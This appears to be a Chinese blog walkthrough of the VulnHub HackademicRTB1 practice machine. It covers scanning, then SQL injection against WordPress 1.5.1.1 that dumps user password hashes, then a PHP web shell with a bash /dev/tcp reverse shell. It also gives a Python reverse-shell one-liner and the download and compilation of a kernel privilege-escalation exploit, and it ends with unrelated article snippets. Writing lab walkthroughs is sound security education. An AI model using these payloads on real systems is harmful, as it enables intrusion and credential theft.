当前位置: 首页 > article >正文

红队实战:HackademicRTB1靶机渗透全流程解析(vulnhub)

1. 靶机环境搭建与初始扫描这个HackademicRTB1靶机是VulnHub上非常经典的渗透测试练习环境特别适合红队演练手工注入和提权技术。我建议大家在VMware中配置NAT网络模式这样可以避免很多网络连接问题。记得启动时选择我已移动该虚拟机否则可能会遇到网卡不识别的情况。靶机启动后我们需要先确定它的IP地址。这里我习惯用nmap进行快速扫描nmap -sn 10.10.10.0/24这个命令会扫描整个网段存活的主机。找到靶机IP后假设是10.10.10.132接着进行详细端口扫描nmap --min-rate 10000 -p- 10.10.10.132 nmap -sT -sV -O -p22,80 10.10.10.132从扫描结果可以看到这个靶机只开放了80端口Apache服务22端口虽然存在但处于closed状态。操作系统内核版本显示为2.6.x这个信息对后续的提权非常重要。我通常会再用漏洞脚本扫描确认下基本情况nmap --scriptvuln -p80 10.10.10.1322. Web应用渗透与信息收集访问靶机80端口页面显示这是个黑客学院挑战。关键线索在target链接点击后会跳转到/Hackademic_RTB1/目录。查看页面源代码时我在注释中发现重要信息!-- This site is powered by WordPress 1.5.1.1 --WordPress 1.5.1.1是个很老的版本立即用searchsploit搜索漏洞searchsploit wordpress 1.5.1.1结果显示存在多个SQL注入漏洞。在探索网站时我发现Uncategorized分类页面的URL包含cat参数http://10.10.10.132/Hackademic_RTB1/?cat1测试SQL注入最直接的方法就是加单引号http://10.10.10.132/Hackademic_RTB1/?cat1页面返回了数据库错误信息暴露了完整的SQL查询语句SELECT * FROM wp_categories WHERE cat_ID 1\\\ LIMIT 1这个报错非常理想不仅确认存在注入点还展示了查询结构为后续注入提供了明确方向。3. 手工SQL注入实战确定注入点后我首先用order by判断列数http://10.10.10.132/Hackademic_RTB1/?cat1 order by 5当测试到order by 6时报错确认有5列。接着构造联合查询http://10.10.10.132/Hackademic_RTB1/?cat0 union select 1,2,3,4,5发现数字2会回显到页面于是利用这个位置注入信息。先获取数据库版本http://10.10.10.132/Hackademic_RTB1/?cat0 union select 1,version(),3,4,5接下来需要获取WordPress的用户凭证。通过查询wp_users表结构http://10.10.10.132/Hackademic_RTB1/?cat0 union select 1,group_concat(user_login,0x2d,user_pass),3,4,5 from wp_users获取到管理员用户GeorgeMiller的密码哈希7cbb3252ba6b7e9c422fac5334d22054。用在线工具破解后得到明文密码q1w2e3。4. WordPress后台利用与Shell获取使用获取的凭证登录/wp-admin后台。在Options Miscellaneous中开启文件上传功能添加php到允许上传的扩展名。然后上传包含以下代码的shell.php?php exec(/bin/bash -c bash -i /dev/tcp/10.10.10.128/1234 01); ?在Kali上启动监听nc -lvnp 1234访问上传的shell.php文件路径后成功获得反向Shell。为了更好的交互体验我用Python升级Shellpython -c import pty;pty.spawn(/bin/bash)5. 内核提权与权限提升当前是apache用户权限查看内核版本uname -a显示为2.6.31这是个很老的内核。搜索可用漏洞searchsploit linux kernel 2.6.3 | grep -i Privilege Escalation选择15285.c这个漏洞先在Kali上搭建临时web服务php -S 0.0.0.0:80在靶机上下载并编译cd /tmp wget http://10.10.10.128/15285.c gcc 15285.c -o exploit chmod x exploit ./exploit执行后成功提权到root最后读取flagcat /root/key.txt6. 技术要点与踩坑记录在这个靶机演练中有几个关键技术点值得注意SQL注入技巧通过0x2d(减号)分隔符使查询结果更易读这个技巧在实际渗透中非常实用。联合查询时要注意用0作为无效ID值确保只执行我们的查询语句。WordPress版本识别老版本WordPress的注释中经常包含版本信息这是快速识别CMS版本的有效方法。Shell稳定性处理获得初始Shell后一定要立即用Python升级为完整TTY否则很多命令无法正常使用。如果连接不稳定可以考虑用以下命令创建持久化连接python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((10.10.10.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);内核漏洞选择面对多个可用漏洞时优先选择与目标系统匹配度高的漏洞。我最初尝试的10018.c就失败了因为它是针对特定发行版的。MySQL提权失败分析虽然发现了MySQL root密码但UDF提权失败的原因是plugin目录权限不足。这个经验告诉我们提权前一定要先检查目录写入权限ls -la /usr/lib/mysql/plugin/

相关文章:

红队实战:HackademicRTB1靶机渗透全流程解析(vulnhub)

1. 靶机环境搭建与初始扫描 这个HackademicRTB1靶机是VulnHub上非常经典的渗透测试练习环境,特别适合红队演练手工注入和提权技术。我建议大家在VMware中配置NAT网络模式,这样可以避免很多网络连接问题。记得启动时选择"我已移动该虚拟机"&…...

硬件工程师选型避坑指南:从XTAL到VC-OCXO,5分钟搞懂晶振关键参数怎么选

硬件工程师选型避坑指南:从XTAL到VC-OCXO的实战决策框架 当BOM表上出现五种不同后缀的晶振型号时,新手工程师的常见反应是打开十几个规格书标签页,然后在参数海洋中陷入选择困难。去年某通信模组项目就曾因选错TCXO型号导致批量返工——工程…...

TI DSP F28335 Bootloader进阶:自己动手实现带协议解析的串口升级上位机

TI DSP F28335 Bootloader实战:打造智能串口升级上位机全攻略 在嵌入式系统开发中,Bootloader的重要性不言而喻。它如同设备的"神经系统",负责在开机时引导主程序运行,同时为后期固件升级提供通道。对于TI DSP TMS320F2…...

【实战指南】conda环境配置与优化全攻略

1. 为什么你需要conda环境管理 第一次接触conda时,我也被它复杂的命令搞得头晕。直到有次在团队协作项目中,因为Python版本冲突导致所有人的代码都无法运行,我才真正体会到conda的价值。简单来说,conda就像你电脑里的"集装箱…...

基于Halcon与C#的PCB焊接缺陷智能检测系统开发实战(附完整项目资源)

1. 为什么需要PCB焊接缺陷智能检测系统 在电子制造业中,PCB(印刷电路板)的质量直接决定了电子产品的性能和可靠性。而焊接作为PCB组装的关键环节,其质量更是重中之重。传统的人工目检方式存在几个致命问题:首先是人眼容…...

终极中文Figma界面汉化指南:3分钟实现全中文设计环境

终极中文Figma界面汉化指南:3分钟实现全中文设计环境 【免费下载链接】figmaCN 中文 Figma 插件,设计师人工翻译校验 项目地址: https://gitcode.com/gh_mirrors/fi/figmaCN 你是否因为Figma的英文界面而影响设计效率?FigmaCN作为专业…...

手机号查询QQ号:30秒快速找回账号的Python解决方案

手机号查询QQ号:30秒快速找回账号的Python解决方案 【免费下载链接】phone2qq 项目地址: https://gitcode.com/gh_mirrors/ph/phone2qq 你是否曾经因为忘记QQ号码而无法登录?或者需要验证手机号与QQ号的绑定关系?手机号查询QQ号工具为…...

为什么传统K8s Service在多模态场景下全面失能?——基于eBPF+TensorRT-LLM定制化负载均衡器的0day级设计手记

第一章:多模态大模型负载均衡设计 2026奇点智能技术大会(https://ml-summit.org) 多模态大模型(如Qwen-VL、LLaVA-1.6、Fuyu-8B)在推理服务中面临显著的异构负载挑战:视觉编码器计算密集、语言解码器内存带宽敏感、跨模态对齐模块…...

抖音批量下载工具终极指南:轻松保存无水印视频和用户作品

抖音批量下载工具终极指南:轻松保存无水印视频和用户作品 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fallback su…...

Spring Cloud项目启动就报错?手把手教你解决Nacos配置中心缺失时的‘No spring.config.import set‘问题

Spring Cloud项目启动报错?三步破解Nacos配置缺失难题 刚接触Spring Cloud Alibaba的开发者们,是否经历过这样的崩溃时刻:精心搭建的新项目,还没来得及在Nacos配置中心添加任何配置,启动瞬间就遭遇红色错误日志轰炸&a…...

**工业4.0时代下基于Python的智能制造设备状态实时监控系统设计与实现**在工业

工业4.0时代下基于Python的智能制造设备状态实时监控系统设计与实现 在工业4.0浪潮席卷全球的背景下,传统制造业正加速向智能化、数字化转型。其中,设备状态实时监控作为智能工厂的核心环节之一,已成为提升生产效率、降低故障率的关键手段。…...

多模态Prompt工程的“暗物质”:视觉token对齐偏差、跨模态温度系数、指令嵌入偏移——3个被论文忽略但决定成败的关键参数

第一章:多模态Prompt工程的“暗物质”:视觉token对齐偏差、跨模态温度系数、指令嵌入偏移——3个被论文忽略但决定成败的关键参数 2026奇点智能技术大会(https://ml-summit.org) 在多模态大模型(如Qwen-VL、LLaVA-1.6、Fuyu-8B)…...

Ubuntu/Windows双系统远程切换方案

Ubuntu/Windows双系统远程切换方案对于一台安装了Ubuntu和Windows双系统的远程服务器,通常无法在BIOS中联网,也就无法用键盘选择要进入的系统,本文提供了两种可远程切换系统的方案。注意:使用以下方案的前提是用grub作为引导系统。…...

WarcraftHelper终极指南:魔兽争霸3全版本辅助工具完全解析

WarcraftHelper终极指南:魔兽争霸3全版本辅助工具完全解析 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper 还在为魔兽争霸3的兼容性问题而…...

QNAP NAS性能调优:将SWAP文件迁移至SSD以突破I/O瓶颈

1. 为什么需要将SWAP迁移到SSD? 很多入门级QNAP NAS用户可能都遇到过这样的困扰:当运行QuMagie这类AI相册服务时,系统突然变得异常卡顿,甚至出现无法访问的情况。这通常是因为物理内存不足,系统开始频繁读写SWAP空间导…...

题解:洛谷 B2002 Hello,World!

本文分享的必刷题目是从蓝桥云课、洛谷、AcWing等知名刷题平台精心挑选而来,并结合各平台提供的算法标签和难度等级进行了系统分类。题目涵盖了从基础到进阶的多种算法和数据结构,旨在为不同阶段的编程学习者提供一条清晰、平稳的学习提升路径。 欢迎大家订阅我的专栏:算法…...

一键捕获完整网页:终极Chrome扩展教程,告别手动拼接时代

一键捕获完整网页:终极Chrome扩展教程,告别手动拼接时代 【免费下载链接】full-page-screen-capture-chrome-extension One-click full page screen captures in Google Chrome 项目地址: https://gitcode.com/gh_mirrors/fu/full-page-screen-capture…...

WorkshopDL:跨平台游戏模组生态的技术架构与实践

WorkshopDL:跨平台游戏模组生态的技术架构与实践 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 当我在GOG平台购买《Garrys Mod》后,面对Steam创意工坊…...

别再手动调参了!手把手教你用伺服驱动器的自整定功能搞定电机参数(附避坑清单)

伺服驱动器自整定功能实战指南:从原理到避坑全解析 刚接手一台新伺服电机时,最让人头疼的莫过于参数调试。传统手动调参不仅耗时费力,还容易因参数不匹配导致电机啸叫、过流甚至设备损坏。上个月我就遇到一个案例:某包装产线更换电…...

GPT-6:AI从搜索引擎进化为超级应用,OpenAI能否引领未来?

过去三年,我们把 AI 当搜索引擎用。问它问题,它给答案,交互结束。 GPT-6 想改变的,正是这件事本身。 GPT-6 不是一个孤立的模型,它是 OpenAI "超级应用"战略的底层引擎。规划中,它将同时驱动三个…...

保姆级教程:用ResNet34训练鸟类识别模型后,如何一键转成ONNX格式(附完整代码)

从鸟类识别模型到生产部署:ResNet34转ONNX实战指南 清晨五点,观鸟爱好者小李的手机突然震动——他设置在郊外的智能摄像头又捕捉到了一种罕见鸟类的身影。但这次与往常不同,设备在本地就完成了物种识别,并将结果实时同步到了他的数…...

泛化能力基础:AI 适应新数据的关键

文章目录前言一、先搞懂:到底什么是AI泛化能力?1.1 用生活类比秒懂泛化1.2 学术定义(2026年标准表述)1.3 为什么2026年泛化比以往更重要?二、泛化的天敌:过拟合与欠拟合2.1 欠拟合:连作业都不会…...

手把手调参:APF-RRT*算法中的zeta、eta、d0到底怎么设?附Matlab避坑指南

APF-RRT*算法调参实战:从参数盲调到科学调优的完整指南 在机器人路径规划领域,APF-RRT算法因其结合了快速随机树(RRT)的全局搜索能力和人工势场(APF)的局部引导优势,已成为复杂环境下路径规划的利器。然而,很多研究者和工程师在应…...

AI应用实践:制作一个支持超长计算公式的计算器,计算内容只包含加减乘除算法,保存在一个HTML文件中

通过AI大模型一句话生成本地单机版web应用小工具。 AI应用实践:制作一个支持超长计算公式的计算器,计算内容只包含加减乘除算法,保存在一个HTML文件中 成品地址:超长公式计算器 讯飞星火 以下代码保存在文本中,另存…...

5步终极配置:让PS4/PS5手柄在PC上发挥完整游戏潜力的专业指南

5步终极配置:让PS4/PS5手柄在PC上发挥完整游戏潜力的专业指南 【免费下载链接】DS4Windows Like those other ds4tools, but sexier 项目地址: https://gitcode.com/gh_mirrors/ds/DS4Windows DS4Windows是一款开源工具,能让你的PlayStation手柄在…...

深入解析WebRTC协议在FFmpeg中的推流与拉流实现

1. WebRTC与FFmpeg的完美结合 第一次接触WebRTC和FFmpeg的组合时,我就像发现新大陆一样兴奋。这两个看似独立的工具,结合起来竟然能实现如此强大的实时流媒体功能。WebRTC作为现代实时通信的基石,提供了点对点传输、低延迟等核心能力&#xf…...

StructBERT在网络安全中的应用:恶意邮件与钓鱼文本相似度识别

StructBERT在网络安全中的应用:恶意邮件与钓鱼文本相似度识别 你有没有想过,为什么有些钓鱼邮件明明看起来和之前的不太一样,却还是能被安全系统精准地揪出来?这背后,可能就藏着一个聪明的“文本侦探”——StructBERT…...

告别虚拟机!在Ubuntu 22.04上用Wine一步到位安装Source Insight 4.0(附汉化与破解教程)

在Ubuntu 22.04上通过Wine完美运行Source Insight 4.0的终极指南 对于长期在Linux环境下工作的C/C开发者来说,代码阅读工具的选择往往是个痛点。虽然VSCode、CLion等现代IDE功能强大,但老牌代码分析工具Source Insight凭借其卓越的符号解析和代码导航能力…...

BetterNCM安装器完整指南:3步解锁网易云音乐无限潜力

BetterNCM安装器完整指南:3步解锁网易云音乐无限潜力 【免费下载链接】BetterNCM-Installer 一键安装 Better 系软件 项目地址: https://gitcode.com/gh_mirrors/be/BetterNCM-Installer 你是否曾在使用网易云音乐时感到功能受限?想要更丰富的播放…...

go-quai开发者指南:如何为Quai Network贡献代码

go-quai开发者指南:如何为Quai Network贡献代码 【免费下载链接】go-quai Official Go Implementation of the Quai Network 项目地址: https://gitcode.com/gh_mirrors/go/go-quai Quai Network是一个创新的区块链项目,而go-quai作为其官方Go语言…...